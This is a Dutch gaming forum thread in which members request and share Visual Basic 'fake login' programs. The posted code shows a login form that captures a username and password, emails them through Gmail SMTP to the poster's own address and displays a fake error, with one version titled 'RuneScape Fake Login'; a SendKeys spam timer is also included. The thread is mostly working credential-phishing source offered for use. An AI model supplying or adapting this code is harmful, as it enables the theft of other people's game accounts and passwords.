Eeey allmaal.

Hebben jullie nog een goeie code die ik kan gebruiken en helemaal doed als ik alles invul?

help is 284298424824 liefde 3 xlove

Uhh meer info graag?

Killuminati

VB code je weet wel die heb ik nodig maar alle die ik heb doed niet of zit net error in.

en wou ik vragen of jullie nog code's hadden die het altijd doen >?

Ik vraag om WELKE code?

Killuminati

Fakelogin code :

Imports System.Net.Mail



If TextBox1.Text = "" Then
            MsgBox("Username Is Missing")
            If TextBox2.Text = "" Then
                MsgBox("Password Is Mising")
            Else
            End If
        End If
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("YOur gmail", "You gmail password")
        'using gmail
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("Your Gmail")
        mail.To.Add("Your Gmail")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
        smtpServer.Send(mail)
        MsgBox("Probeer later opnieuw!", MsgBoxStyle.Critical, "ERROR!")

 Dim bypass As Integer = 0
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If bypass = 0 Then
            SendKeys.Send(TextBox1.Text)
            bypass = 1
        Else


            If bypass = 1 Then
                SendKeys.Send(TextBox2.Text)
                bypass = 2
            Else


                If bypass = 2 Then
                    SendKeys.Send(TextBox3.Text)
                    bypass = 3
                Else


                    If bypass = 3 Then
                        SendKeys.Send(TextBox4.Text)
                        bypass = 4
                    Else


                        If bypass = 4 Then
                            SendKeys.Send(TextBox5.Text)
                            bypass = 0
                        End If
                    End If
                End If
            End If
        End If
    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        SendKeys.Send("{enter}")
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Enabled = True
        Timer2.Enabled = True

    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Timer2.Enabled = False
        Timer1.Enabled = False
    End Sub
End Class

Quote: Nose
Ik vraag om WELKE code?

Minecraft magic - Venificus op Bukkit
Gepensioneerd Derpforum Moderator

Quote: Mesmer

Quote: Nose
Ik vraag om WELKE code?

de standaard code voor fake login.. ben je dom ofso?

------------------------------------------------------------------------------------------------
Noem mij maar: Robin
Vroeger was ik woeperd85 >>>>> RJM4LK3 >>>>> (Nieuw acc. Rjmvalk3)

Mijn doelen:
-Min. 10 post per dag half jaar lang.
(Gaat toch niet lukken.)

Je kunt me alles vragen misschien kan ik je helpen
Klik hier voor PM

ik heb goeie zit geen error in, en het onderwerp die je op je mail krijgt is : runescape fake login, bij elke is dat gwn username want die kopieren en plakken.

Imports System.Net.Mail

Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If TextBox1.Text = "" Then
            MsgBox("Username Is Missing!")
            If TextBox2.Text = "" Then
                MsgBox("Password Is Mising!")
            Else
            End If
        End If
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("hier email", "hier je password")
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("hier email")
        mail.To.Add("hier email")
        mail.Subject = "RuneScape Fake Login"
        mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
        smtpServer.Send(mail)
    End Sub
End Class

Quote: rjmvalk3

Quote: Mesmer

Quote: Nose
Ik vraag om WELKE code?

de standaard code voor fake login.. ben je dom ofso?

Hij zij toch niet voor een FL?

Quote: rjmvalk3

Quote: Mesmer

Quote: Nose
Ik vraag om WELKE code?

de standaard code voor fake login.. ben je dom ofso?

Hij zij toch niet voor een FL?

Minecraft magic - Venificus op Bukkit
Gepensioneerd Derpforum Moderator

Quote: flyingdutchman

Quote: rjmvalk3

Quote: Mesmer

Quote: Nose
Ik vraag om WELKE code?

de standaard code voor fake login.. ben je dom ofso?

Hij zij toch niet voor een FL?

Topic naam VB code zegt al genoeg.

Quote: Xoyia

Quote: flyingdutchman

Quote: rjmvalk3

Quote: Mesmer

Quote: Nose
Ik vraag om WELKE code?

de standaard code voor fake login.. ben je dom ofso?

Hij zij toch niet voor een FL?

Topic naam VB code zegt al genoeg.

Nee want je kan meer dingen maken dan een FakeLogin In Vb
Dus niet zeuren !
Voortaan beter topic aan maken..

Flying als jij duidelijk was geweest was deze ophef er niet gekomen, dus volgende keer opletten

Antwoord gegeven en ik sluit voor dat dit uit de hand loopt.